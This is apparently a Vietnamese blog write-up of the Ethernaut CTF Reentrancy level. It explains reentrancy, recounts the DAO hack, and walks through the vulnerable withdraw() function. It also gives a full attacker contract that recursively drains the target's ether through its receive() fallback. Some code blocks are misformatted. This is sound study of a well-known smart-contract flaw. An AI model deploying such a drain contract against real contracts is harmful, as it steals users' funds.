Post

[Ethernaut CTF] Level 10: Reentrancy

Level 10: Reentrancy

★★★☆☆

Lần này chúng ta sẽ tìm hiểu về một trong những lỗi bảo mật iconic và nghiêm trọng nhất trong smart contract đó là reentrancy attack

Given contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

Reentrancy attack

  • Trước khi đi vào phân tích challenge, ta cần hiểu thế nào là cuộc tấn công Reentrancy.
  • Reentracy attack là cuộc tấn công mà ở đó hacker sẽ cố gắng gọi đệ quy từ hàm rút tiền của contract, nếu contract không cẩn thận update số dư thì hacker sẽ withdraw toàn bộ tiền trong contract.
  • Nó được thực hiện bằng cách là khi mà hacker thực hiện rút tiền từ contract, trong một contract khác ( theo ảnh dưới là Exploit contract) của hacker sẽ có fallback function mà trong fallback function đó lại tiếp tục call tới hàm withraw(). Như vậy fallback function khi receive money sẽ tự động trigger và call withdraw, cứ thế lặp lại.

-> thế là chúng ta vô một vòng đệ quy cho đến khi balance của contract được withdraw hết.

  • Một trong những cuộc tấn công Reentrancy nổi tiếng là DAO hack, hacker đã đánh cắp 3,6 triệu ether ( hơn $50M USD ), điều này dẫn đến giá ETH bị crashed nghiêm trọng, buộc Ethereum phải tung một update quan trọng để fix. Và sự hình thành của đồng Ethereum classic bắt đầu từ đây.
  • Bạn có thể đọc thêm về DAO hack tại đây và các loại tấn công Reentrancy tại đây

    Phân tích

  • Đã gọi là low-level function thì đương nhiên nó sẽ luôn nguy hiểm, trường hợp ở đây của chúng ta là call
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
  • Để chuyển tiền, ngoài selfdestruct() như đã biết, chúng ta có 3 cách là tranfer, sendcall . Điều mà solidity luôn khuyến nghị dùng là tranfer vì nó luôn bị revert khi giao dịch lỗi , còn send và call thì không, chúng chỉ trả về true/false .
  • Một điều để biết nữa đó là tranfersend sẽ luôn có gas limit là 2300, nghĩa là ta chỉ thuần tùy là chuyển tiền thôi mà không thể thực hiện thêm logic nào khác . Còn call thì không giới hạn gas -> Điểm để khai thác trong reentrancy attack

Note: Solidity sẽ tính gas dựa trên độ phức tạp của code bạn

Solution

Target: Rút hết balance của smart contract.

  • Check balance thì ta thấy có 0.001 ether ```javascript await getBalance(contract.address) 0.001
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
- Compile và deploy contract này trên remix,

```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;

interface IReentrance {
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
}

contract ReentranceAttack {
    address public owner;
    IReentrance targetContract;
    uint targetValue = 1000000000000000;

    constructor(address _targetAddr)  {
        targetContract = IReentrance(_targetAddr);
        owner = msg.sender;
    }

    function balance() public view returns (uint) {
        return address(this).balance;
    }

    function donateAndWithdraw() public payable {
        require(msg.value >= targetValue);
        targetContract.donate{value:msg.value}(address(this));
        targetContract.withdraw(msg.value);
    }

    function withdrawAll() public returns (bool) {
        require(msg.sender == owner, "my money!!");
        uint totalBalance = address(this).balance;
        (bool sent, ) = msg.sender.call{value:totalBalance}("");
        require(sent, "Failed to send Ether");
        return sent;
    }

    receive() external payable {
        uint targetBalance = address(targetContract).balance;
        if (targetBalance >= targetValue) {
          targetContract.withdraw(targetValue);
        }
    }
}
  • Mình sẽ giải thích xíu về contract này sẽ tấn công như thế nào.
  • Đầu tiên khi gọi donateAndWithdraw(), thì targetContract sẽ set value của ether ta gửi balances[_to] = balances[_to].add(msg.value);, sau đó hàm withdraw() sẽ được gọi và nó sẽ trigger fallback function là receive() và send số ether mà ta vừa gửi trở lại Attack contract . Vì hàm withdraw() vẫn chưa execute xong nên điều kiện balances[msg.sender] >= amount luôn đúng, withdraw() vẫn tiếp tục được gọi trong fallback function ở Attack Contract -> chúng ta vô đệ quy rút tiền.
  • Cuối cùng, chúng ta dùng hàm withdrawAll() để rút hết balance có trong ReentranceAttack về player.
  • Check lại balance, nếu balance bằng 0 thì ta đã hoàn thành challenge này =))
    1
    2
    
    await getBalance(contract.address)
    0
    

    Submit -> Done

    Reference

  • https://viblo.asia/p/nhung-lo-hong-trieu-do-trong-ethereum-smart-contract-phan-i-ORNZqjerl0n
  • https://blog.openzeppelin.com/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942
  • https://www.gemini.com/cryptopedia/the-dao-hack-makerdao
This post is licensed under CC BY 4.0 by the author.